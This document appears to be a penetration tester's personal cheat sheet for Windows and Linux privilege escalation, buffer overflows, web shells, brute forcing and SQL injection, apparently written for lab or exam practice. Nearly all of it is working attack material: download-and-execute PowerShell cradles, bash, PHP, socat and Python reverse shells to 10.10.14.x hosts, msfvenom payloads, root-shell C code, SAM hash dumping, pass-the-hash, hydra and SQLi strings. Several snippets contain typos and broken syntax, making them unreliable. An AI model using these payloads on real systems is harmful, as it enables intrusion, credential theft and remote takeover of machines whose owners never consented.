

# Windows Priv Esc

## To Start

1. Enumeration
  - 1) Systeminfo
  - 2) winPEAS
  - 3) WATSON
  - 4) Sherlock.ps1
    - 1- Load file onto system
    - 2- powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns}"
  - 5) PowerUp.ps1
    - 1- Load file onto system
    - 2- powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
  - 7) Seatbelt.exe

## IMPORTANT GROUPS

NT AUTHORITY\INTERACTIVE - All users who can log onto the system locally

## PS Downloader

```
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.30:80/Sherlock.ps1')"
```

```
powershell Invoke-WebRequest -OutFile C:\Windows\System32\spool\drivers\color\PowerUp.ps1 -Uri http://10.10.14.23:80/PowerUp.ps1
```

# KERNEL EXPLOITS

## CMD:

systeminfo

## TOOLS:

Windows Exploit Suggester: WESNG

- **IN BASH:** python wes.py /systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more

Precompiled Kernel Exploits: <https://github.com/SecWiki/windows-kernel-exploits>

WATSON

```
\\10.10.14.30\ms15-051x64.exe nc.exe -e cmd 10.10.14.30 4444
```

# SERVICE EXPLOITS

## Service Commands

Query the config of a service>	sc.exe qc <service name>
Query the currnet status of a service>	sc.exe query
Modify the configuration option of a service>	sc.exe config <service name> <options>= <value>
Start/Stop a service>	net start/stop <name>

**Insecure Service Permissions** - We can modify a service configuration

1. Run winpeas; Identify modifiable services
2. Run accesschk.exe to validate results
  - 1) .\accesschk.exe /accepteula -ewcqv user <service name>
3. Query the service configuration
  - 1) sc qc <service name>
4. Modify the binpath
  - 1) sc config <service name> binpath= "\"C:\temp\reverse.exe\""
5. Start Kali listener
6. net start <service name>

**Unquoted Service Path** - Absolute paths with spaces can be interpreted as arguments

1. Check winpeas
2. Validate permissions to start the service
  - 1) .\accesschk.exe /accepteula -ucqv user <service name>

3. Validate permissions on each potentially writeable directory (Looking for RW BUILTIN\Users)
  - 1) .\accesschk.exe /accepteula -uwdq C:\
  - 2) .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
  - 3) .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
4. Copy exe shell named the same as the service into the earliest writeable directory
  - 1) copy reverse.exe "C:\Program Files\Unquoted Path Service\<service>.exe"
5. Start Kali Listener
6. net start <service name>

**Weak Registry Permissions** - If registry key of a service can be modified, it can allow config modifications

1. Check winpeas
2. Verify permissions using either powershell or accesschk
  - 1) POWERSHELL VERSION:
    - 1- powershell exec bypass
    - 2- Get-Acl HKLM:\System\CurrentControlSet\Services\<Service Name> | Format-List
  - 2) ACCESSCHK VERSION> .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<service>
3. Verify we can start the service
  - 1) .\accesschk.exe /accepteula -ucqv user <service>
4. Query current values in the service registry
  - 1) reg query HKLM\SYSTEM\CurrentControlSet\services\<service>
5. Overwrite the ImagePath in registry
  - 1) reg add HKLM\SYSTEM\CurrentControlSet\services\<service> /v ImagePath /t REG\_EXPAND\_SZ /d C:-\temp\reverse.exe /f
6. Start Kali Listener
7. net start <service>
8. OPTIONAL: Copy original exe back in the case of a real world engagement

**Insecure Service Executables** - Simply overwrite the service executable

1. Check winpeas for File Permissions: Everyone [AllAccess]
2. Verify with accesschk
  - 1) .\accesschk.exe /accepteula -quvw "C:\Program Files\<directories to <service>.exe>"
3. Verify we can start the service
  - 1) .\accesschk.exe /accepteula -ucqv user <service>
4. Backup the Service Executable
  - 1) copy "C:\Program Files\<directories to <service>.exe>" C:\Temp
5. Copy our reverse shell exe and overwrite the service exe
  - 1) copy /Y C:\temp\reverse.exe "C:\Program Files\<directories to <service>.exe>"
6. Set up Kali Listener
7. net start <service>

**DLL Hijacking** - If a DLL is loaded with absolute path that is writeable to user, it is possible to write to that DLL or path. This is a much more manual process than above privesc. Typically these are non-microsoft services.

1. Check winpeas
2. Query services that user has start/stop on
  - 1) .\accesschk.exe -uvqc user <service>
3. Query services from this list
  - 1) sc qc dllsvc
4. Transfer exe to a controlled machine for analysis
5. On Controlled Machine:
  - 1) Run Procmon64 as admin
  - 2) Ctr-L to service by processname for <service.exe>
  - 3) Start Capture
  - 4) Start Service
  - 5) Find NAME NOT FOUND error for specific .dll being called.
  - 6) Find a directory that it searches for this file that can be written to
6. Create a reverse shell with MSFVENOM using DLL format
  - 1) msfvenom -p window/shell\_reverse\_tcp LHOST=<my ip> LPORT=4444 -f dll -o /
7. Copy this to the previously identified searched directory that is writeable
8. Start Kali Listener
9. Stop & Start the service on victim

## REGISTRY EXPLOITS

**Autorun Exploit** - Overwriting AutoRun executables and restarting the system

1. Run Winpeas
2. Manually query autorun programs

- 1) query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
3. Run accesschk on each identified autorun exe
  - 1) accesschk.exe /accepteula -vvu "C:\Program Files\Autorun Program\<program>.exe"
4. Copy shell exe file over the <program>.exe
5. Set up nc listener on Kali
6. Restart Windows
7. On restart we get a shell!!!!

**AlwaysInstallElevated** - MSI installer files may run with elevated privileges

NOTE: Only works if this registry setting is enabled for both the current user and the local machine.

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

1. Run winPEAS
2. Query registry for keys
  - 1) query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
3. Generate an msfvenom payload that is MSI format
4. Set up listener on Kali machine
5. Copy and execute the malicious MSI file

## PASSWORDS

**Registry** - Some passwords may be stored in plaintext in the registry

1. Query the registry for keys and values that contain passwords
  - 1) reg query HKLM /f password /t REG\_SZ /s
  - 2) reg query HKCU /f password /t REG\_SZ /s

**Configuration Files**

1. Search configuration files
  - 1) dir /s \*pass\* == \*.config
  - 2) findstr /si password \*.xml \*.ini \*.tx

**SAM** - Security Account Manager stores password hashes that are encrypted with a key found in the SYSTEM file. With both SAM and SYSTEM files, you can extract the hashes.

1. Typically located in the C:\Windows\System32\config ----However this is locked while the system is running.
  - 1) Backups may exist in the C:\Windows\Repair OR C:\Windows\System32\config\RegBack
2. Once files are copied to Kali, use PWDump from creddump7
  - 1) pwdump.py /myfolder/SYSTEM /myfolder/SAM
3. Crack the wanted NTLM hash with hashcat
  - 1) hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt

**Pass the Hash**

1. Utilizing pth-winexe to provide the username and hash
  - 1) pth-winexe --system -U <entire hash> //Ip.Address.To.Attack cmd.exe

## SCHEDULED TASKS

COMMANDS

List all scheduled tasks>

- 1) schtasks /query /fo LIST /v
- 2) Get-ScheduledTask | where {\$\_.TaskPath -notlike "\Microsoft\*"} | ft TaskName, TaskPath, State
- 3) Find a writeable script that is scheduled

## INSECURE GUI APPS

Older versions of windows may grant admin privileges to certain gui applications

1. tasklist /v
2. open file function on app may allow file://c:/windows/system32/cmd.exe

## STARTUP APPS

Startup directory for apps that should start for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

If we can create files in this directory, we can generate a reverse shell executable and then wait for an admin to login. Files in this directory must be link files to an actual target path.

## ***INSTALLED APPLICATIONS***

### ***HOT POTATO***

Spoofing attack combined with an NTLM relay attack to gain system privileges  
Works on Windows 7, 8, and early versions of WIN10 & Server Counterparts

potato.exe

### ***TOKEN IMPERSONATION***

whoami /priv  
SeImpersonate  
SeAssign

#### **SERVICE ACCOUNTS**

**ROTTEN POTATO** - ALLOWS SERVICE ACCOUNT TO INTERCEPT SYSTEM USER

**JUICY POTATO** is the newer version (Fixed on latest versions of WIN10)

**Rogue Potato** is another new variation

## ***PORT FORWARDING***

plink.exe

### ***Linux Priv Esc***

#### **General Notes**

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

```
bash -i >& /dev/tcp/10.10.14.23/8888 0>&1
```

```
<?php  
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.23/4444 0>&1'");
```

Linux executable is .elf for MSFVENOM

```
FOR 64BIT > gcc -g -c <exploit.c> -fPIC
```

Some exploits may require dos2unix

#### **ESSENTIAL TOOLS**

1. Linux Smart Enumeration (lse.sh)
2. LinEmun
3. Linux-exploit-suggester-2

#### **Other TOOLS**

linuxprivchecker  
beroot  
unix-privesc-check

## Check NFS

use nse

## KERNEL EXPLOITS

1. Enumerate Kernel Version
  - 1) `uname -a`
2. Search for Exploits
  - 1) `searchsploit`
  - 2) `linux-exploit-suggester-2`
  - 3) `google`
3. Compile & run them

## SERVICE EXPLOITS

### EXPLOITING SERVICES RUNNING AS ROOT

1. List services running
  - 1) `ps aux | grep "root"`
2. Identify versions
  - 1) `<program> --version`
  - 2) `dpkg -l | grep <program>` #DEBIAN
  - 3) `rpm -qa | grep <program>`
3. Find an exploit
4. Compile and run

### PORT FORWARDING

Some services may be bound to an internal port (127.0.0.1:8888)

1. `netstat`

If you cannot run the exploit locally, then you can forward the port using SSH to your local machine.

2. `ssh -R <local-port>:127.0.0.1:<service-port> <username>@<local-machine>`

## WEAK FILE PERMISSIONS

### READABLE /ETC/SHADOW FILE

1. Copy the hash (Between the two colons) `root:<HASH>:othershit`
2. Save the hash `> hash.txt`
3. Run JTR
  - 1) `john --format=sh512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`
4. Once cracked, switch user to root
  - 1) `su root`

### WRITEABLE /ETC/SHADOW

1. Generate a new password hash
  - 1) `mkpasswd -m sha-512 <newpassword>`
2. Replace existing hash with new hash

### WRITEABLE /ETC/PASSWD

Passwd file takes precedence over the hash in the shadow file

You may also be able to append passwd with a new user that has UID=0

In some cases you can delete the x which can be interpreted as having no password

### BACKUPS

Backup files may contain old passwd or shadow files

Possibly found in the following directories:

/

```
/tmp
/var/backups
```

## SUDO

/etc/sudoers contains sudo config

```
sudo <program>
sudo -u <username> <program>
sudo -l
```

```
sudo su
sudo -s
sudo -i
sudo /bin/bash
sudo passwd
```

**SHELL ESCAPE SEQUENCES** - When SUDO is restricted to certain programs, you may be able to escape those programs and spawn a shell

A list of programs with their shell escape sequences can be found at <http://gtfobins.github.io>

**ABUSING INTENDED FUNCTIONALITY** - Some programs may allow for reading or writing sensitive files

### ----- ENVIRONMENT VARIABLES -----

**LD\_PRELOAD** - can be set to the path of a shared object (.so) file; By creating a shared object and creating an init() function, we can execute code as soon as the object is loaded

1. the env\_keep+=LD\_PRELOAD option must be set
2. vim preload.c

----- START SCRIPT -----

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
```

```
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash" -p");
}
```

----BREAK----

3. Compile
  - 1) gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
4. Run a SUDO command with the LD\_PRELOAD set
  - 1) sudo LD\_PRELOAD=/tmp/preload.so find

**LD\_LIBRARY\_PATH** - contains directories where shared libraries are searched for first. By creating a new LD\_LIBRARY\_PATH and creating our own version of the called library, we can get code execution. This is similar to DLL hijacking on WINDOWS.

1. Show the libraries used by a SUDO program
  - 1) ldd /usr/sbin/<program>
2. vim the previously mentioned script above
3. Compile with the name of the library
  - 1) gcc -o <library name> -shared -fPIC library\_path.c
4. sudo LD\_LIBRARY\_PATH=. apache2

## CRON JOBS

crontab -l

crontabs are usually located in:

**USERS CRONTABS**

/var/spool/cron/

/var/spool/cron/crontabs/

**SYSTEM-WIDE CRONTAB**

/etc/crontab

**File Permissions** - misconfiguration of file permissions can allow you to modify the program or script that is executed by a cron job

1. Find cronjob running as root in one of the above locations
2. Modify the file being executed
  - 1) bash -i >& /dev/tcp/10.10.14.23/4444 0>&1
3. Set up listener
4. Wait for cron to run on schedule

**PATH Environment Variable** - If the cron job does not use an absolute path and one of the PATH directories is writeable, we can create a program with the same name as the cronjob

Default path is /usr/bin:/bin

1. Create program or script with the same name in a sooner checked directory
2. chmod +x the new file
3. Wait for execution

**WILDCARDS**

1. cat the crontab file
2. find a cronscript that executes using the wildcard character (\*)
3. Use GTFEBIN to find an exploit where you can add arguments to a command after the \* is used

## ***SUID / SGID Files***

SUID - Executes with the privileges of the owner

SGID - Executes with the privileges of the group

The following command will locate files with SUID and SGID set:

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

Search GTFEBINS for SUID and SGID abuse on each of the programs listed

Use searchsploit, google, and github for exploits to uncommon programs

**SHARED OBJECT INJECTION** - When a program is executed it will try to load the shared objects it requires. Using strace, we can track these system calls.

If a shared object is not found in the initial location, we may be able to write a new program at that location with the shared object name.

1. strace <SUID Program> 2>&1 | grep -iE "open|access|no such file"
2. If any of the unfound files are within a writeable directory, we can create it to spawn root shell
3. vim <sharedobject>.c

----- START SCRIPT -----

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
static void inject() __attribute__((constructor));
```

```
void inject() {
```

```
    setsuid(0);
```

```
    system("/bin/bash -p");
```

```
}
```

----BREAK----

4. Compile

- 1) gcc -fPIC -shared -o <sharedobject>.so <sharedobject>.c

5. Run the SUID program and wait for the shared object call

**PATH ENVIRONMENT VARIABLE** - If a SUID program references another program without utilizing the absolute path, we can create an executable with the same name along the path

1. Run strings on the program
- OR
1. Run strace on the program
- OR
1. Run ltrace on the program
2. For example, if the SUID program runs "service apache2 start" ; We can write an executable called service within our PATH and it will be executed before the system finds /bin/service
3. Generate the malicious executable
  - 1) vim service.c

----- START SCRIPT -----

```
int main() {
    setuid(0);
    system("/bin/bash -p");
}
```

----BREAK----

4. Compile
  - 1) gcc -o service serv.c
5. Define PATH variable and call the SUID program
  - 1) PATH=.:\$PATH <SUID program absolute path>

**BASH FUNCTIONS < BASH 4.2** - In older versions of bash, users can define their own functions that take precedent over executables.

1. Find a program being called by the SUID program (ex: /usr/sbin/service apache2 start)
2. Generate a function with the same name
  - 1) function /usr/sbin/service { /bin/bash -p;}
  - 2) export -f /usr/sbin/service
3. Execute the SUID file

## BOF

----- SETUP SECTION -----

### In Immunity:

File > Open  
 Open & Run application (F9)  
 Configure Mona  
 1) !mona config -set workingfolder c:\mona\%p

### On KALI:

Fuzz for the vulnerable command & overflow distance with fuzzer.py  
 Make a note of the length of bytes that were sent.

Generate a pattern of that length:

- 1) /usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -l <LENGTH OF BYTES>
- 2) Place this into the payload variable of exploit.py

### In Immunity:

Reopen & restart the vulnerable program

### On KALI:

Run exploit.py

### In Immunity:

!mona findmsp -distance <LENGTH OF BYTES>  
 Make note of the EIP offset

### On KALI:

Set this offset as the offset variable in exploit.py  
 Set the payload variable to empty string



Set the retn variable to BBBB

## ----- BAD CHARS SECTION -----

### In Immunity:

Generate a mona bytearray with "\x00" by default

1) !mona bytearray -b "\x00"

### On KALI:

Run badchars.py

Set the output of all possible characters to the payload variable in exploit.py

### Immunity:

Restart the vulnerable app

### KALI:

Run exploit.py

----- START LOOP -----

### Immunity:

Make note of the ESP register address

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>

This should give you a result of bad chars. Only eliminate the first if there are two bad chars next to each other as a bad char can affect the following char.

Generate a new mona byte array of the badchars

1) !mona bytearray -b "\x00 <Additional Bad Chars>"

### KALI:

Remove any badchars from the payload variable of exploit.py

### Immunity:

Restart the vulnerable app

### KALI:

Run exploit.py

Repeat as needed until the mona compare command gives a result of "Unmodified"

----- END LOOP -----

## ----- JMP & PAYLOAD SECTION -----

### Immunity:

With vulnerable app crashed, identify JMP ESP addresses that do not contain our badchars

1) !mona jmp -r esp -cpb "\x00 <bad chars>"

Find a good JMP ESP address and make note

### KALI:

Make the JMP ESP address the value for the retn variable, but written backwards for little endian format.

(\x44\x33\x22\x11)

Generate payload

1) msfvenom -p windows/shell\_reverse\_tcp LHOST=YOUR\_IP LPORT=4444 EXITFUNC=thread -b "\x00<BAD CHARS>" -f py -v payload

Set the output equal to the payload variable

Add NOP padding for the payload to have room to unpack itself

padding = "\x90" \* 16

Start nc listener on 4444

Run exploit.py

## WEB APP

<https://book.hacktricks.xyz/>

<https://github.com/payloadbox/ssti-payloads>

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.23:4444
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",-9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

## BRUTE FORCE

HYDRA

```
hydra -L admin%40doctor.htb -P /usr/share/wordlists/rockyou.txt doctors.htb http-post-form "/-login:email=^USER^&password=^PASS^&submit=Login:Nope, no such luck"
```

## SQL INJECTIONS

click me	click me	click me
tom	tom	SELECT * FROM users WHERE name='tom' and password='tom'
tom	' or '1'='1	SELECT * FROM users WHERE name='tom' and password='" or '1'='1'
tom	' or 1='1	SELECT * FROM users WHERE name='tom' and password='" or 1='1'
tom	1' or 1=1 -- -	SELECT * FROM users WHERE name='tom' and password='" or 1=1-- -'
' or '1'='1	' or '1'='1	SELECT * FROM users WHERE name='" or '1'='1' and password='" or '1'='1'
' or ' 1=1	' or ' 1=1	SELECT * FROM users WHERE name='" or ' 1=1' and password='" or ' 1=1'
1' or 1=1 -- -	blah	SELECT * FROM users WHERE name='1' or 1=1 -- -' and password='blah'